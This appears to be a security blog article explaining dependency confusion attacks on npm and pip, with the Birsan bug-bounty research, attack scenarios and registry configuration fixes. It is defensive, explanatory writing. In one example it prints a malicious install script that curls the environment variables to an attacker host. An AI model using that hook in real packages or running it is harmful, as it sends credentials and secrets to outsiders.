# Dependency Confusion Attacks: How Package Names Steal Your Code

Dependency confusion attacks happen because package managers default to checking public registries, even when you're using private packages. Attackers upload malicious code with internal package names. Your CI/CD pulls and executes attacker code.

The fix is simple: configure package managers correctly. Most companies don't.

# **How Dependency Confusion Works**

**Step 1: Company uses internal packages**

Company has private npm packages for shared code:

* `@mycompany/auth`
    
* `@mycompany/api-client`
    
* `@mycompany/utils`
    

These live in a private npm registry (JFrog Artifactory, npm Enterprise, AWS CodeArtifact).

**Step 2: Developer configuration**

`package.json`:

```plaintext
{
  "dependencies": {
    "@mycompany/auth": "^1.2.3",
    "express": "^4.18.0"
  }
}
```

**Step 3: Attacker discovers internal package names**

Via:

* Leaked `package.json` in public GitHub repos
    
* Error messages mentioning package names
    
* Former employees disclosing names
    
* Social engineering
    

**Step 4: Attacker publishes to public npm**

Attacker creates `@mycompany/auth` on public npm with version `999.999.999`.

**Step 5: Package manager downloads attacker's package**

npm (without proper configuration) checks public registry. Finds `@mycompany/auth@999.999.999` (higher version than internal `1.2.3`). Downloads and installs malicious package.

**Step 6: Code execution**

Package has `install` script:

```plaintext
{
  "scripts": {
    "install": "curl https://attacker.com/steal?data=$(env)"
  }
}
```

On `npm install`, this executes. Attacker gets:

* Environment variables (API keys, tokens, credentials)
    
* Source code access (if running in CI/CD)
    
* Network access to internal systems
    

# **Alex Birsan Research**

Alex Birsan demonstrated this attack in 2021, earning $130k in bug bounties.

**Targets**: Over 35 companies including Apple, Microsoft, Netflix, Yelp, Tesla

**Method**:

1. Identified internal package names from public sources
    
2. Published packages to public npm/PyPI with same names
    
3. Used high version numbers (999.999.999) to ensure precedence
    
4. Added telemetry to track installations
    
5. Reported to affected companies
    

**Results**:

* Thousands of downloads from major tech companies
    
* Code executed in CI/CD pipelines
    
* Access to internal networks, credentials, source code
    
* $130k in bounty payouts
    

This wasn't a sophisticated exploit. It was package manager configuration doing exactly what it was told to do - just not what companies intended.

# **Why Package Managers Do This**

**npm behavior**:

```plaintext
npm install @mycompany/auth
```

npm checks (in order):

1. Local cache
    
2. Configured registries
    
3. Public npm registry (default)
    

If `@mycompany/auth` exists in public npm with a higher version than private registry, npm installs the public version.

**pip behavior** (Python):

```plaintext
pip install company-internal-package
```

pip checks configured repositories. If not found, checks PyPI. If both have the package, highest version wins.

**RubyGems, Maven, NuGet**: Similar behavior. Public registries are default or fallback.

This isn't a bug. It's designed behavior. The problem is companies don't configure registry precedence correctly.

# **Why This Persists**

**Default configurations are insecure**

Out of the box, package managers check public registries. Developers must explicitly configure private registry precedence.

Most don't.

**No namespace protection**

Anyone can publish `@yourcompany/package-name` to public npm. Package managers don't verify ownership.

npm scopes (`@scopename`) don't provide security. They're just namespaces. Attackers can create packages within any scope.

**Version number precedence**

Package managers use semantic versioning. `999.999.999` beats `1.2.3`.

Attackers exploit this by publishing absurdly high version numbers.

**Lack of awareness**

Developers don't understand package manager resolution order. They assume "we use a private registry" means package managers won't check public registries.

Wrong.

**CI/CD inherits developer configurations**

Developer machine might be configured correctly. CI/CD pipeline uses a generic Docker image with default npm config.

CI/CD pulls from public registry. Attacker code executes in pipeline with access to production credentials.

**No auditing**

Companies don't monitor which registries packages are downloaded from. Malicious packages get installed without detection.

# **Attack Scenarios**

**Scenario 1: CI/CD credential theft**

Company uses `@mycompany/deploy-utils` for deployment scripts. Package has access to AWS credentials in environment variables.

Attacker publishes malicious `@mycompany/deploy-utils` to public npm. CI/CD pipeline installs it. `postinstall` script exfiltrates AWS credentials to attacker server.

Attacker has production AWS access.

**Scenario 2: Source code exfiltration**

Internal package `@company/build-tools` runs during build. Has access to entire source code.

Attacker publishes malicious version. Build process installs it. Package uploads source code to attacker server.

Company IP is stolen.

**Scenario 3: Backdoor deployment**

Package `@company/auth-middleware` is used in production applications.

Attacker publishes malicious version with backdoor. Next deployment pulls attacker package. Backdoor ships to production.

Production compromised.

# **npm Scope**

npm scopes like `@mycompany` seem like they provide isolation. They don't.

```plaintext
npm install @mycompany/auth
```

This will install from public npm if that package exists there, regardless of whether you have a private registry with the same package.

**The fix**:

`.npmrc`:

```plaintext
@mycompany:registry=https://private-registry.company.com
```

This tells npm: "For packages in `@mycompany` scope, only use this registry."

Most companies don't configure this.

# **pip’s Problem**

Python's `pip` has similar issues with PyPI.

**Attack**:

```plaintext
pip install company-internal-utils
```

If `company-internal-utils` exists on both private repository and PyPI, pip might install from PyPI depending on configuration.

**The fix**:

`pip.conf`:

```plaintext
[global]
index-url = https://private-repo.company.com/simple/
```

Or use `--index-url` flag explicitly.

Again, most companies rely on default behavior.

# **Detection**

**How do you know if you're vulnerable?**

1. Do you use internal packages?
    
2. Are those package names secret or publicly known?
    
3. Is your package manager configured to prioritise private registry?
    
4. Are CI/CD pipelines configured the same as developer machines?
    

If you answer "I don't know" to any of these, you're probably vulnerable.

**Monitoring**:

Check where packages are downloaded from:

```plaintext
npm config get registry
```

Audit installed packages against expected sources. But this requires tooling most companies don't have.

# **Final Thoughts**

Dependency confusion is a simple attack with devastating impact. It exploits default package manager behavior that most developers don't understand.

The fix is trivial: configure registry precedence correctly. Most companies don't because:

* Complexity
    
* Lack of awareness
    
* No ownership
    
* Works until it doesn't
    

Alex Birsan made $130k in bounties demonstrating this. How many attackers have exploited it without disclosing?

You're probably vulnerable right now. Your build pipelines are likely pulling packages from public registries without verification.

Check your `.npmrc`. If you don't have scope restrictions configured, you're one package name discovery away from being compromised.

The supply chain attack surface is massive. Dependency confusion is one of the easiest exploits.

Fix your package manager configs. Before someone else publishes `@yourcompany/auth-utils` to public npm.
